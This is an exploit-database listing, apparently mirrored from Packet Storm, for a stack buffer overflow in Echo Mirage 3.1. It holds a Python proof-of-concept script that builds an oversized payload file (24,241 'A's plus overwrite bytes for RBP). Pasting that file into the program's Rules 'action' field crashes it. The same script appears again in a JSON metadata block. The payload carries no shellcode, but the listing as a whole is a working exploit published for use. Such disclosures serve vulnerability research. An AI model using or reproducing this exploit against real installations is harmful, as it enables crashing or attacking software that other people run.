Search...

Echo Mirage 3.1 Buffer Overflow

2019-01-21T00:00:00

ID PACKETSTORM:151256
Type packetstorm
Reporter InitD Community
Modified 2019-01-21T00:00:00

Description

                                        
                                            `#!/usr/bin/python  
  
# Exploit Title: Echo Mirage 3.1 Buffer Overflow PoC (Stack Overflow)  
# Date: 21-01-2019  
# Software Link: https://sourceforge.net/projects/echomirage.oldbutgold.p/  
# Version: 3.1 (x64)  
# Exploit Author: InitD Community  
# Contact: https://twitter.com/initd_sh  
# Website: http://initd.sh/  
# Tested on: Windows 7  
  
  
"""  
Step to Reproduce : Open Echo Mirage --&gt; 1) Click on "Rules" --&gt; 2) click on "New" --&gt; 3)Copy "Echo-Mirage-BoF-POC.txt" content and Paste in "action" field. --&gt; BOoo0m.  
  
Thanks: Touhid M.Shaikh(@touhidshaikh22), Shrutirupa(@creak_crypt)  
This Bug Identified by Touhid M.Shaikh  
"""  
  
buffer = "A"*24241  
  
RBP = "B"*8  
  
PAD = "C"*50  
  
evil = buffer + RBP + PAD  
  
  
evil_file = open("Echo-Mirage-BoF-POC.txt","w")  
  
evil_file.write(evil)  
  
evil_file.close()  
`

JSON Vulners Source

Initial Source

{"id": "PACKETSTORM:151256", "type": "packetstorm", "bulletinFamily": "exploit", "title": "Echo Mirage 3.1 Buffer Overflow", "description": "", "published": "2019-01-21T00:00:00", "modified": "2019-01-21T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://packetstormsecurity.com/files/151256/Echo-Mirage-3.1-Buffer-Overflow.html", "reporter": "InitD Community", "references": [], "cvelist": [], "lastseen": "2019-01-22T18:45:39", "viewCount": 42, "enchantments": {"score": {"value": 1.0, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": 1.0}, "sourceHref": "https://packetstormsecurity.com/files/download/151256/echomirage31-overflow.txt", "sourceData": "`#!/usr/bin/python \n \n# Exploit Title: Echo Mirage 3.1 Buffer Overflow PoC (Stack Overflow) \n# Date: 21-01-2019 \n# Software Link: https://sourceforge.net/projects/echomirage.oldbutgold.p/ \n# Version: 3.1 (x64) \n# Exploit Author: InitD Community \n# Contact: https://twitter.com/initd_sh \n# Website: http://initd.sh/ \n# Tested on: Windows 7 \n \n \n\"\"\" \nStep to Reproduce : Open Echo Mirage --> 1) Click on \"Rules\" --> 2) click on \"New\" --> 3)Copy \"Echo-Mirage-BoF-POC.txt\" content and Paste in \"action\" field. --> BOoo0m. \n \nThanks: Touhid M.Shaikh(@touhidshaikh22), Shrutirupa(@creak_crypt) \nThis Bug Identified by Touhid M.Shaikh \n\"\"\" \n \nbuffer = \"A\"*24241 \n \nRBP = \"B\"*8 \n \nPAD = \"C\"*50 \n \nevil = buffer + RBP + PAD \n \n \nevil_file = open(\"Echo-Mirage-BoF-POC.txt\",\"w\") \n \nevil_file.write(evil) \n \nevil_file.close() \n`\n", "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645600434}}